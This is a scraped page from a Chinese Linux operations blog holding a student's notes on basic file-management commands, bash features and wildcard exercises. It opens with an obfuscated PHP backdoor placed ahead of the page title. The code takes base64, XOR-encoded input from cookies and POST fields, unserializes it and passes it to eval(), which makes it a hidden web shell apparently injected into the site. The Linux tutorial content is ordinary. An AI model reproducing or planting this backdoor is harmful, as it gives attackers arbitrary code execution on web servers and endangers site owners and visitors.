$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux 文件管理常用基本命令 | Linux运维部落

Linux 文件管理常用基本命令

马哥教育网络班21期+第二周练习

目录管理

  • ls (list):列出目录及内容

    ls [OPTION]... [FILE]...
        -l:长格式显示文件的详细属性信息
            -rwxr-xr-x.  1 root root 1273 Jul 10 19:45 anaconda-ks.cfg
            第1段:文件属性段
                左起第一位:文件类型
                    -:普通文件 (file)
                    d:目录文件 (directory)
                    b:块设备文件 (block)
                    c:字符设备文件 (character)
                    l:符号链接文件 (symbolic link file)
                    p:命名管道文件 (pipe)
                    s:套接字文件 (socket)
                后面9位:文件权限,称为mode,每3位一组,每一组:rwx(读,写,执行)
                    r:读,Read
                    w:写,Write
                    x:执行,Excute
                .:表示文件有隐藏属性
                    lsattr命令可以查看
            第2段:
                数字1:文件被硬链接的次数
            第3段:
                第一个root:owner,属主,文件拥有者
            第4段:
                第二个root:group,属组,文件所属的组
            第5段:
                1273:size,文件大小,默认单位:字节
            第6段:
                Jul 10 19:45:timestamp,时间戳,文件最近一次被修改的时间
                    访问:access
                    修改:modify
                    改变:change,metadata,元数据
            第7段:
                anaconda-ks.cfg:文件名
        -h,--human-readable:做单位换算,以容易理解的格式显示文件大小,与 -l 一起使用
        -a,--all:显示所有文件,包括以 .开头的隐藏文件
            . :表示当前目录
            ..:表示父目录
        -A,--almost-all:显示不包含 . 和 .. 以外的所有文件
        -d,--directory:显示目录自身属性,通常与 -l 一起使用
        -i,--inode:index node,显示文件的索引节点号
        -r,--reverse:逆序显示
        -R,--recursive:递归显示,显示子目录中的内容
    
    示例:
        列出当前目录下所有文件和目录的详细信息,并转换显示大小(含隐藏文件)
            ls -alhR
  • cd:change directory,切换当前工作目录

    cd [dirName]
        cd 或 cd ~:进入当前用户的主目录
        cd ~USERNAME:进入指定用户的主目录
        cd -:在当前目录和前一次所在目录之间切换
  • pwd:查看当前工作目录

    pwd [OPTION]...
        -L:显示当前工作目录连接路径,默认 pwd 同 pwd -L
        -P:显示当前工作目录的物理路径
  • mkdir:创建空目录

    mkdir [OPTION]... DIRECTORY...
        -p:递归创建目录,创建目录时先创建父目录
        -v:显示创建过程信息
    
    示例:
        创建目录 /mnt/test/x/m,y
            mkdir -pv /mnt/test/x/m /mnt/test/y
            mkdir -pv /mnt/test/{x/m,y}
    
        /tmp下创建目录 a_b,a_c,d_b,d_c
            mkdir -pv /tmp/{a,d}_{b,c}
    
        /tmp下创建以下树形结构目录:
        mylinux/
            ├── bin
            ├── boot
            │   └── grub
            ├── dev
            ├── etc
            │   ├── rc.d
            │   │   └── init.d
            │   └── sysconfig
            │       └── network-scripts
            ├── lib
            │   └── modules
            ├── lib64
            ├── proc
            ├── sbin
            ├── sys
            ├── tmp
            ├── usr
            │   └── local
            │       ├── bin
            │       └── sbin
            └── var
                ├── lock
                ├── log
                └── run
            mkdir -p /tmp/mylinux/{bin,boot/grub,dev,etc/{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin},var/{lock,log,run}}
  • tree:查看目录树

    tree [OPTION...] [DIRECTORY...]
        -a:显示所有文件及目录
        -d:只显示目录
        -f:显示完整路径
        -L level:显示指定层级目录树
        -P pattern:只显示指定 pattern 匹配的路径
  • rmdir:删除空目录

    rmdir [OPTION]... DIRECTORY...
        -p:删除子空目录后父目录为空时一并删除
        -v:显示删除过程信息

文件管理

  • 文件命名规则

    1、长度不能超过255个字节
    2、不能使用 / 做文件名
    3、严格区分大小写
  • stat:显示文件或文件状态

    stat [OPTION]... FILE...
        -f:显示文件系统状态
        -t:以简要信息显示文件状态值
    
    三个时间戳:
        atime,access time:访问时间,读取文件内容
        mtime,modify time:修改时间,改变文件内容(数据)
        ctime,change time:改变时间,元数据发生改变
  • touch:改变文件的时间戳,文件不存在创建文件

    touch [OPTION]... FILE...
        -a:只改变访问时间(atime)
        -c,--no-create:只改变文件时间戳,不创建文件
        -m:只改变修改时间(mtime)
        -t STAMP:指定时间改变时间戳
            [[CC]YY]MMDDhhmm[.ss]
    
    示例:
        在/tmp目录下创建以file开头,后跟当前日期和时间的文件,文件名格式如:file-1970-01-01-00-00-00
            touch file-$(date +%F-%H-%M-%S) 
        或
            touch file-`date +%F-%H-%M-%S`
    
        修改file开头的文件的时间戳,指定时间为 1970-01-01 00:00:00
            touch -t 197001010000.00 file*
  • file:检测文件类型

    file [OPTION] FILE...
        -b:只列出文件类型,不显示文件名
        -f<FILENAME>:指定文件,其中有一个或多个文件名,依序列出文件名及检测文件类型
  • cp:copy,复制文件或目录

    cp [OPTION]... SOURCE DESCRIPTION
    cp [OPTION]... SOURCE... DIRECTORY
    cp [OPTION]... -t DIRECTORY SOURCE...
        -a,--archive:归档复制,保留所有文件权限
        -p:保留源文件属主、属组、时间戳
        -f,--force:忽略交互提示,强制复制
        -i,--interactive:复制前交互提示
        -r,-R,--recursive:递归复制目录
        -l,--link:只硬链接文件不复制
        -s,--symbolic-link:只符号链接文件不复制
        -L,--dereference:源为链接文件时,不复制文件链接属性
        -P,--no-dereference:源为链接文件时,复制文件链接属性
    
    示例:
        归档/etc/rc.d/init.d 到/tmp 目录下,归档名为init.d.bak
            cp -a /etc/rc.d/init.d /tmp/init.d.bak
    
        复制/etc/inittab 到/tmp目录下,重命名为 inittab.bak,保留原有属性
            cp -p /etc/inittab /tmp/inittab.bak
    
        复制/tmp下a_b、a_c、d_b、d_c 到/tmp/bak 目录下
            cp -r /tmp/{a,d}_{b,c} /tmp/bak
    
        复制/etc/rc.local 到/tmp目录下,保留文件链接属性
            cp -P /etc/rc.local /tmp/rc.local
    
        复制/etc目录下passwd、inittab、rc.d/rc.local 到/tmp/bak目录下,并使用 -t选项
            cp -t /tmp/bak /etc/{passwd,inittab,rc.d/rc.local}
  • install:复制文件并设定权限

    install [OPTION]... SOURCE... DIRECTORY
    install [OPTION]... -t DIRECTORY SOURCE...
    install [OPTION]... -d DIRECTORY...
        -d:创建目录
        -t:先指定目标目录,再指定源文件信息
        -g:设定文件属组
        -o:设定文件属主
        -m:设定文件拥有权限
    
    示例:
        创建目录 /tmp/x/y/z 和 /tmp/x/m/n
            install -d /tmp/x/{y/z,m/n}
    
        复制 /tmp/passwd 到 /tmp/x 目录下,并指定文件属主、属组为 apache,文件权限为 700
            install -g apache -o apache -m 700 /tmp/passwd /tmp/x
  • rm:删除文件或目录

    rm [OPTION]... FILE...
        -f,--force:忽略交互提示,强制删除
        -i:删除前交互提示
        -r,-R,--recursive:递归删除目录
  • mv:move,移动文件或目录

    mv [OPTION]... SOURCE DESCRIPTION
    mv [OPTION]... SOURCE... DIRECTORY
    mv [OPTION]... -t DIRECTORY SOURCE...
        -f,--force:覆盖前不提示,强制覆盖
        -i,--interactive:覆盖前提示
        -t:先指定目标目录,再指定源文件信息
    
    示例:
        移动/tmp/bak目录下passwd、inittab、rc.local文件到 /tmp目录下,并覆盖/tmp/rc.local
            mv -f /tmp/bak/{passwd,inittab,rc.local} /tmp/

文本处理

  • cat:连接并显示文本文件内容

    cat [OPTION]... FILE...
        -E,--show-ends:显示行结束符
        -n,--number:显示行号
    
    示例:
        查看/tmp/passwd文件内容,并输出行号及行结束符
            cat -nE /tmp/passwd
    
        将/tmp/passwd、/tmp/inittab合并为 test文件
            cat /tmp/passwd /tmp/inittab > /tmp/test
  • tac:逆序显示文件内容

  • more:分页显示,默认向下翻页

    more [options] FILE [...]
        -d:显示翻页及退出提示
        -number:指定每页显示的行数
        +/:查找文件第一个出现指定字符串的行,并从该行前两行开始显示
        +number:从指定行号开始显示
  • less:分页显示,向下或向上翻页

    less [options] File...
        -e:文件显示到最后时,自动退出
        -N:显示行号
    
    键盘操作:
        h   查看帮助信息
        q,Q 退出命令
        b   向下一页
        d   向下半页
        u   向上半页
        y   向上一行
        PgUp    向上一页
        PgDn    向下一页
        Space   向下一页
        Enter   向下一行
  • head:查看文件前N行

    head [OPTION]... [FILE]...
        -n:指定显示多少行,不指定时默认显示 10行
  • tail:查看文件后N行

    tail [OPTION]... [FILE]...
        -f:查看文件尾部,不退出,等待显示后续追加至此文件的新内容
        -n:指定显示多少行,不指定时默认显示 10行
  • cut:分段截取内容

    cut [OPTION]... [FILE]...
        -d:指定字段分隔符,默认是空格
        -f:指定显示的字段
            -f 1:显示第一字段
            -f 1,5:显示第一和第五字段
            -f 1-3:显示第一到第三字段
    
    示例:
        以冒号为分隔符,显示/etc/passwd文件中用户及使用shell
            cut -d":" -f1,7 /etc/passwd
  • sort:文本排序

    sort [OPTION]... [FILE]...
        -f,--ignore-case:忽略字符大小写
        -n,--numeric-sort:以数值大小排序
        -r,--reverse:降序排序
        -t:指定字段分隔符
        -k:以指定字段进行排序
        -u,--unique:排序后去重
    
    示例:
        以第三个字段对/etc/passwd文件进行排序
            sort -t":" -k3 -n /etc/passwd
  • uniq:查找相邻重复行

    uniq [OPTION]... [FILE]...
        -c,--count:显示重复行出现的次数
        -d,--repeated:仅显示重复行
        -D:显示所有重复的行
        -u,--unique:仅显示不重复的行
    
    示例:
        显示当前系统中所有用户使用的shell
            cut -d":" -f7 /etc/passwd | sort | uniq
  • wc:文本统计

    wc [OPTION]... [FILE]...
        -c,--bytes:统计文件包含多少字节
        -m,--chars:统计文件包含多少字符
        -l,--lines:统计文件包含多少行
        -w,--words:统计文件包含多少单词
        -L,--max-line-length:统计最长的一行包含多少字符
    
    示例:
        统计/etc目录下以大小写P 开头的文件个数
            ls /etc/[pP]* | wc -l
  • tr:转换或删除字符

    tr [OPTION]... SET1 [SET2]
        -d:删除字符集中出现的所有字符
    
    示例:
        /tmp/passwd文件中所有字符替换为大写
            tr 'a-z' 'A-Z' < /tmp/passwd

bash特性

  • bash特性

    1、命令历史、命令补全
    2、管道、重定向
    3、命令别名
    4、命令行编辑
    5、命令行展开
    6、文件名通配
    7、变量
    8、编程
  • 命令执行状态

    echo $?:查看返回值
        0表示成功
        非0表示失败
  • 命令行编辑

    光标跳转
        Ctrl+a:跳到命令行首
        Ctrl+e:跳到命令行尾
        Ctrl+u:删除光标至命令行首的内容
        Ctrl+k:删除光标至命令行尾的内容
        Ctrl+l:清屏
  • 命令历史

    history:查看命令历史
        -c:清空命令历史
        -d OFFSET [n]:删除指定位置命令
        -w:保存命令至历史文件(.bash_history)
    
    命令历史使用技巧:
        !n:执行命令历史中的第 n 条命令
        !-n:执行命令历史中倒数第 n 条命令
        !!:执行上一条命令
        !string:执行命令历史中最近一条匹配 string 开头的命令
        !$:引用前一个命令的最后一个参数
            !$ 同 {Esc,.} 或 {Alt+.}
    
    命令补全:搜索PATH环境变量所指定的每个路径下以给出的字符串开头的可执行文件,如果有多个,使用两次Tab可以显示列表,否则直接补全
    
    路径补全:搜索给出的起始路径下的每个文件名,并试图补全
  • 变量

    环境变量
    PATH:命令搜索路径
    HISTSIZE:命令历史缓冲区大小(默认为 1000)
  • 命令别名

    定义别名
        alias CMDALIAS='COMMAND [options] [arguments]'
        Shell中定义的别名的有效范围仅限当前Shell进程
    
    取消别名
        unalias CMDALIAS
  • 命令引用

    命令替换:$(COMMAND) 或 `COMMAND`
    
    支持的引号
        (反引号)``:命令替换
        (双引号)"":弱引用,可以实现变量替换
        (单引号)'':强引用,不进行变量替换
  • 文件名通配

    通配符号
        *:任意长度的任意字符
        ?:任意单个字符
        []:匹配指定范围内的任意单个字符
            [abc],[a-z],[A-Z],[0-9],[a-zA-z],[0-9a-zA-Z]
            [:space:]:空白字符
            [:punct:]:标点符号
            [:lower:]:小写字母
            [:upper:]:大写字母
            [:alpha:]:大小写字母
            [:digit:]:数字
            [:alnum:]:数字和大小写字母
        [^]:匹配指定范围外的任意单个字符

练习

  1. 显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录

    ls /var/l*[0-9]*[a-z]
    ls /var/l*[[:digit:]]*[[:lower:]]
  2. 显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录

    ls /etc/[0-9]*[^0-9]
    ls /etc/[[:digit:]]*[^[:digit:]]
  3. 显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录

    ls /etc/[^a-zA-Z][a-zA-Z]*
    ls /etc/[^[:alpha:]][[:alpha:]]*
  4. 复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中

    cp -r /etc/p*[^0-9] /tmp/mytest1
    cp -r /etc/p*[^[:digit:]]
  5. 复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中

    cp -r /etc/*.d /tmp/mytest2
  6. 复制/etc目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中

    cp /etc/{l,m,n}*.conf /tmp/mytest3
    cp /etc/[lmn]*.conf /tmp/mytest3

原创文章,作者:N21-garyshan,如若转载,请注明出处:http://www.178linux.com/24420

(0)
上一篇 2016-07-17 00:25
下一篇 2016-07-17 21:49

相关推荐

  • CentOS系统启动流程

    Linux系统(Centos 5、6)启动流程 一、POST加电自检 Power-On-Self-Test 按下电源键以后,系统调用存储在ROM中的BIOS和存储在RAM中的CMOS(用来保存各项参数的设定)完成系统硬件状态的检查,如果硬件有问题则提示用户问题严重无法开机的会发出警报声音;硬件自检完成后进入下一步。 二、Boot Sequence与…

    Linux干货 2016-11-24
  • nginx在linux系统应用详解之一基础介绍和全局配置

    一、nginx简介       1、特点:           (1)nginx服务器既可以作为HTTP服务器,也可以作为反向代理服务器,还可以作为邮件服务器;           (2)能够快速响应静态页面的请求;  …

    2017-06-19
  • 硬盘分区及挂载

    标签:文件系统、分区、挂载 一、Linux的基本原则    1、一切皆文件(包括硬件);这个原则会会在很多方面得到体现; 磁盘在Linux中也表现为文件,即/dev目录下:IDE,ATA:/dev/hd[a-z]    SATA,SCSI,USB,SAS:sd[a-z]。    &nbsp…

    Linux干货 2015-05-18
  • iptables/netfilter入门到进阶

    防火墙的概念 Firewall:工作于主机或网络边缘,对于进出本主机或网络的报文根据事先定义的规则作匹配检测,对于更改被规则匹配到的报文做出相应处理的组件 网络层防火墙(包过滤防火墙): 优点:对用户来说透明,处理速度快且易于防护 缺点:一旦黑客突破防火墙,就可以请以伪造数据包源地址、目的地址和IP端口号 代理服务型防火墙(Proxy Service) 优点…

    2017-06-17
  • 第六周小练习

    详细总结vim编辑器的使用并完成一下练习 vim编辑器的基本使用 vim模式: 1、编辑模式(命令模式) 2、输入模式 3、末行模式  一、打开文件 vim /path/to/somefile 打开单个文件 如果文件存在为打开,否则保存退出时为新建 vim /path/to/somefile vim +# : 打开文件…

    Linux干货 2016-12-19
  • bash的基础特性[更新中]

    2、bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。
    3、请使用命令行展开功能来完成以下练习:
    (1)、创建/tmp目录下的:a_c, a_d, b_c, b_d
    (2)、创建/tmp/mylinux目录下的:
    mylinux/
    ├── bin
    ├── boot
    │   └── grub
    ├── dev
    ├── etc
    │   ├── rc.d
    │   │   └── init.d
    │   └── sysconfig
    │   └── network-scripts
    ├── lib
    │   └── modules
    ├── lib64
    ├── proc
    ├── sbin
    ├── sys
    ├── tmp
    ├── usr
    │   └── local
    │   ├── bin
    │   └── sbin
    └── var
    ├── lock
    ├── log
    └── run
    5、如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?
    6、显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。
    7、显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。
    8、显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。
    9、在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22。
    10、复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。
    11、复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。
    12、复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。

    2018-03-17

评论列表(1条)

  • 马哥教育
    马哥教育 2016-09-19 17:57

    写的很好,把一些常用的命令都列举出来了,有的问题还用了多种方法解答,值得表扬